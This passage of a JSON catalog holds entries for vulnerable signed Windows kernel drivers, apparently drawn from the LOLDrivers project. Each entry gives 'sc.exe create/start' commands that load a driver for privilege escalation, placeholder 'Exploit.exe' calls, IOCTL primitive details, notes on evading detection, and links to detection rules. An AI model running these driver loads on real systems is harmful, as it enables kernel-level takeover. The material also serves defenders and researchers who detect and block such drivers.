      "template": "sc.exe create sfdrvx32.sys binPath=C:\\windows\\temp\\sfdrvx32.sys type=kernel && sc.exe start sfdrvx32.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-sfdrvx32",
    "install": [
      {
        "method": "custom",
        "description": "Load sfdrvx32.sys kernel driver",
        "commands": [
          "sc.exe create sfdrvx32.sys binPath=C:\\windows\\temp\\sfdrvx32.sys type=kernel && sc.exe start sfdrvx32.sys"
        ]
      }
    ],
    "name": "sfdrvx32.sys",
    "namespace": "windows:kernel:sfdrvx32",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create sfdrvx64.sys binPath=C:\\\\windows\\\\temp\\\\sfdrvx64.sys type=kernel && sc.exe start sfdrvx64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver sfdrvx64.sys\"\n\n# sfdrvx64.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-sfdrvx64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-sfdrvx64",
    "name": "sfdrvx64.sys",
    "namespace": "windows:kernel:sfdrvx64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create shimano binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\shimano64.sys type=kernel && sc.exe start shimano\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver shimano32.sys\"\n\n# shimano32.sys\n\nHyperTech DNP CrackProof DRM kernel drivers (32-bit and 64-bit variants) from Shimano E-TUBE Project. Expose EPROCESS manipulation IOCTLs (0xAA013880, 0xAA013884, 0xAA013888) similar to capcom.sys exploitation technique. Device accessible at \\\\.\\Htsysm4EFB. Zero detections (0/72 and 0/73) on VirusTotal. Signed by Microsoft WHCP via HyperTech DNP CrackProof (Japanese DRM vendor).\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-shimano32.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "HyperTech DNP CrackProof DRM kernel drivers (32-bit and 64-bit variants) from Shimano E-TUBE Project. Expose EPROCESS manipulation IOCTLs (0xAA013880, 0xAA013884, 0xAA013888) similar to capcom.sys exploitation technique. Device accessible at \\\\.\\Htsysm4EFB. Zero detections (0/72 and 0/73) on VirusTotal. Signed by Microsoft WHCP via HyperTech DNP CrackProof (Japanese DRM vendor).",
    "execution": {
      "template": "sc.exe create shimano binPath=C:\\windows\\temp\\shimano64.sys type=kernel && sc.exe start shimano",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-shimano32",
    "install": [
      {
        "method": "custom",
        "description": "Load shimano32.sys kernel driver",
        "commands": [
          "sc.exe create shimano binPath=C:\\windows\\temp\\shimano64.sys type=kernel && sc.exe start shimano"
        ]
      }
    ],
    "name": "shimano32.sys",
    "namespace": "windows:kernel:shimano32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/163"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create signeddrv binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\signeddrv.sys type=kernel && sc.exe start signeddrv\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver signeddrv.sys\"\n\n# signeddrv.sys\n\nsigneddrv.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-signeddrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "signeddrv.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create signeddrv binPath=C:\\windows\\temp\\signeddrv.sys type=kernel && sc.exe start signeddrv",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-signeddrv",
    "install": [
      {
        "method": "custom",
        "description": "Load signeddrv.sys kernel driver",
        "commands": [
          "sc.exe create signeddrv binPath=C:\\windows\\temp\\signeddrv.sys type=kernel && sc.exe start signeddrv"
        ]
      }
    ],
    "name": "signeddrv.sys",
    "namespace": "windows:kernel:signeddrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create SIOCTL binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\SIOCTL.sys type=kernel && sc.exe start SIOCTL\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver SIOCTL.sys\"\n\n# SIOCTL.sys\n\nSIOCTL.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-sioctl.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "SIOCTL.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create SIOCTL binPath=C:\\windows\\temp\\SIOCTL.sys type=kernel && sc.exe start SIOCTL",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-sioctl",
    "install": [
      {
        "method": "custom",
        "description": "Load SIOCTL.sys kernel driver",
        "commands": [
          "sc.exe create SIOCTL binPath=C:\\windows\\temp\\SIOCTL.sys type=kernel && sc.exe start SIOCTL"
        ]
      }
    ],
    "name": "SIOCTL.sys",
    "namespace": "windows:kernel:sioctl",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create SIVDRIVER binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\SIVX64.sys type=kernel && sc.exe start SIVDRIVER\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver SIVX64.sys\"\n\n# SIVX64.sys\n\nRay Hinchliffe SIV (System Information Viewer) SIVX64.sys v5.85 dynamically resolves MmMapIoSpace and MmMapIoSpaceEx via MmGetSystemRoutineAddress at runtime (neither appears in the IAT), evading static import-based scanning. The driver exposes multiple privileged IOCTL primitives via \\\\.\\SIVDRIVER including arbitrary physical memory mapped read/write (Cmd 0x14, critical), physical memory read via scatter-gather (Cmd 0x10) and bulk MDL (Cmd 0x13), MSR read/write on a whitelisted subset (Cmd 0x08/0x0C), unrestricted I/O port read/scan (Cmd 0x44/0x50), and unrestricted PCI configuration space read (Cmd 0x48). WHQL signed by Microsoft Windows Hardware Compatibility Publisher; loads despite HVCI.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-sivx64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Ray Hinchliffe SIV (System Information Viewer) SIVX64.sys v5.85 dynamically resolves MmMapIoSpace and MmMapIoSpaceEx via MmGetSystemRoutineAddress at runtime (neither appears in the IAT), evading static import-based scanning. The driver exposes multiple privileged IOCTL primitives via \\\\.\\SIVDRIVER including arbitrary physical memory mapped read/write (Cmd 0x14, critical), physical memory read via scatter-gather (Cmd 0x10) and bulk MDL (Cmd 0x13), MSR read/write on a whitelisted subset (Cmd 0...",
    "execution": {
      "template": "sc.exe create SIVDRIVER binPath=C:\\windows\\temp\\SIVX64.sys type=kernel && sc.exe start SIVDRIVER",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-sivx64",
    "install": [
      {
        "method": "custom",
        "description": "Load SIVX64.sys kernel driver",
        "commands": [
          "sc.exe create SIVDRIVER binPath=C:\\windows\\temp\\SIVX64.sys type=kernel && sc.exe start SIVDRIVER"
        ]
      }
    ],
    "name": "SIVX64.sys",
    "namespace": "windows:kernel:sivx64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/287"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/33903e8fa9f0a2acaa4784d645e309b0bd780693824b6c2c5fef257238c77478"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create skill.sys binPath=C:\\\\windows\\\\temp\\\\skill.sys type=kernel && sc.exe start skill.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver skill.sys\"\n\n# skill.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-skill.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-skill",
    "name": "skill.sys",
    "namespace": "windows:kernel:skill",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create SMARTEIO64SYS binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\SMARTEIO64SYS.sys type=kernel && sc.exe start SMARTEIO64SYS\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver SMARTEIO64.SYS\"\n\n# SMARTEIO64.SYS\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-smarteio64.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create SMARTEIO64SYS binPath= C:\\windows\\temp\\SMARTEIO64SYS.sys type=kernel && sc.exe start SMARTEIO64SYS",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-smarteio64",
    "install": [
      {
        "method": "custom",
        "description": "Load SMARTEIO64.SYS kernel driver",
        "commands": [
          "sc.exe create SMARTEIO64SYS binPath= C:\\windows\\temp\\SMARTEIO64SYS.sys type=kernel && sc.exe start SMARTEIO64SYS"
        ]
      }
    ],
    "name": "SMARTEIO64.SYS",
    "namespace": "windows:kernel:smarteio64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create smep_capcom.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\smep_capcom.sys     type=kernel && sc.exe start smep_capcom.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver smep_capcom.sys\"\n\n# smep_capcom.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-smep-capcom.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create smep_capcom.sys binPath=C:\\windows\\temp\\smep_capcom.sys     type=kernel && sc.exe start smep_capcom.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-smep-capcom",
    "install": [
      {
        "method": "custom",
        "description": "Load smep_capcom.sys kernel driver",
        "commands": [
          "sc.exe create smep_capcom.sys binPath=C:\\windows\\temp\\smep_capcom.sys     type=kernel && sc.exe start smep_capcom.sys"
        ]
      }
    ],
    "name": "smep_capcom.sys",
    "namespace": "windows:kernel:smep-capcom",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create smep_namco.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\smep_namco.sys type=kernel && sc.exe start smep_namco.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver smep_namco.sys\"\n\n# smep_namco.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-smep-namco.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create smep_namco.sys binPath=C:\\windows\\temp\\smep_namco.sys type=kernel && sc.exe start smep_namco.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-smep-namco",
    "install": [
      {
        "method": "custom",
        "description": "Load smep_namco.sys kernel driver",
        "commands": [
          "sc.exe create smep_namco.sys binPath=C:\\windows\\temp\\smep_namco.sys type=kernel && sc.exe start smep_namco.sys"
        ]
      }
    ],
    "name": "smep_namco.sys",
    "namespace": "windows:kernel:smep-namco",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create SmSerl64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\SmSerl64.sys type=kernel && sc.exe start SmSerl64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver SmSerl64.sys\"\n\n# SmSerl64.sys\n\nA vulnerability exits in driver SmSerl64.sys in Motorola SM56 Modem WDM Driver v6.12.23.0, which allows low-privileged users to mapping physical memory via specially crafted IOCTL requests . This can be exploited for privilege escalation, code execution under high privileges, and information disclosure. These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-smserl64.md",
    "author": "valium",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "A vulnerability exits in driver SmSerl64.sys in Motorola SM56 Modem WDM Driver v6.12.23.0, which allows low-privileged users to mapping physical memory via specially crafted IOCTL requests . This can be exploited for privilege escalation, code execution under high privileges, and information disclosure. These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code.",
    "execution": {
      "template": "sc.exe create SmSerl64.sys binPath=C:\\windows\\temp\\SmSerl64.sys type=kernel && sc.exe start SmSerl64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-smserl64",
    "install": [
      {
        "method": "custom",
        "description": "Load SmSerl64.sys kernel driver",
        "commands": [
          "sc.exe create SmSerl64.sys binPath=C:\\windows\\temp\\SmSerl64.sys type=kernel && sc.exe start SmSerl64.sys"
        ]
      }
    ],
    "name": "SmSerl64.sys",
    "namespace": "windows:kernel:smserl64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55414"
      },
      {
        "label": "Reference",
        "url": "https://github.com/heyheysky/vulnerable-driver/blob/master/CVE-2024-55414/CVE-2024-55414_SmSerl64.sys_README.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create SONiXDDRx64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\SONiXDDRx64.sys type=kernel && sc.exe start SONiXDDRx64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver SONiXDDRx64.sys\"\n\n# SONiXDDRx64.sys\n\nSONiXDDRx64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-sonixddrx64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "SONiXDDRx64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create SONiXDDRx64 binPath=C:\\windows\\temp\\SONiXDDRx64.sys type=kernel && sc.exe start SONiXDDRx64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-sonixddrx64",
    "install": [
      {
        "method": "custom",
        "description": "Load SONiXDDRx64.sys kernel driver",
        "commands": [
          "sc.exe create SONiXDDRx64 binPath=C:\\windows\\temp\\SONiXDDRx64.sys type=kernel && sc.exe start SONiXDDRx64"
        ]
      }
    ],
    "name": "SONiXDDRx64.sys",
    "namespace": "windows:kernel:sonixddrx64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create SparkIO binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\SparkIO.sys type=kernel && sc.exe start SparkIO\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver SparkIO.sys\"\n\n# SparkIO.sys\n\nSparkIO.sys is a WHQL-signed kernel driver from Clevo Co. (Taiwan ODM) that ships with Control Center 3.0 and Flexicharger utilities on Clevo-chassis laptops (XMG, Eluktronics, EVOO, Origin PC, System76, Sager, and others). CVE-2022-37415 (CVSS 7.8) documents an out-of-bounds write vulnerability. The driver exposes arbitrary physical memory read via MmMapIoSpace, unrestricted I/O port read/write, arbitrary PCI configuration space read/write, and SMBus/I2C read/write. The device is created with IoCreateDevice (no DACL) and IRP_MJ_CREATE returns STATUS_SUCCESS unconditionally with zero caller validation. A public PoC exists by alfarom256.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-sparkio.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "SparkIO.sys is a WHQL-signed kernel driver from Clevo Co. (Taiwan ODM) that ships with Control Center 3.0 and Flexicharger utilities on Clevo-chassis laptops (XMG, Eluktronics, EVOO, Origin PC, System76, Sager, and others). CVE-2022-37415 (CVSS 7.8) documents an out-of-bounds write vulnerability. The driver exposes arbitrary physical memory read via MmMapIoSpace, unrestricted I/O port read/write, arbitrary PCI configuration space read/write, and SMBus/I2C read/write. The device is created wit...",
    "execution": {
      "template": "sc.exe create SparkIO binPath=C:\\windows\\temp\\SparkIO.sys type=kernel && sc.exe start SparkIO",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-sparkio",
    "install": [
      {
        "method": "custom",
        "description": "Load SparkIO.sys kernel driver",
        "commands": [
          "sc.exe create SparkIO binPath=C:\\windows\\temp\\SparkIO.sys type=kernel && sc.exe start SparkIO"
        ]
      }
    ],
    "name": "SparkIO.sys",
    "namespace": "windows:kernel:sparkio",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/322"
      },
      {
        "label": "Reference",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37415"
      },
      {
        "label": "Reference",
        "url": "https://gist.github.com/alfarom256/220cb75816ca2b5556e7fc8d8d2803a0"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create speedfan.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\speedfan.sys type=kernel && sc.exe start speedfan.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver speedfan.sys\"\n\n# speedfan.sys\n\nspeedfan.sys is a vulnerable driver. CVE-2007-5633.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-speedfan.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "speedfan.sys is a vulnerable driver. CVE-2007-5633.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/22be050955347661685a4343c51f11c7811674e030386d2264cd12ecbf544b7c.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create speedfan.sys binPath=C:\\windows\\temp\\speedfan.sys type=kernel && sc.exe start speedfan.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-speedfan",
    "install": [
      {
        "method": "custom",
        "description": "Load speedfan.sys kernel driver",
        "commands": [
          "sc.exe create speedfan.sys binPath=C:\\windows\\temp\\speedfan.sys type=kernel && sc.exe start speedfan.sys"
        ]
      }
    ],
    "name": "speedfan.sys",
    "namespace": "windows:kernel:speedfan",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/jbaines-r7/dellicious"
      },
      {
        "label": "Reference",
        "url": "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
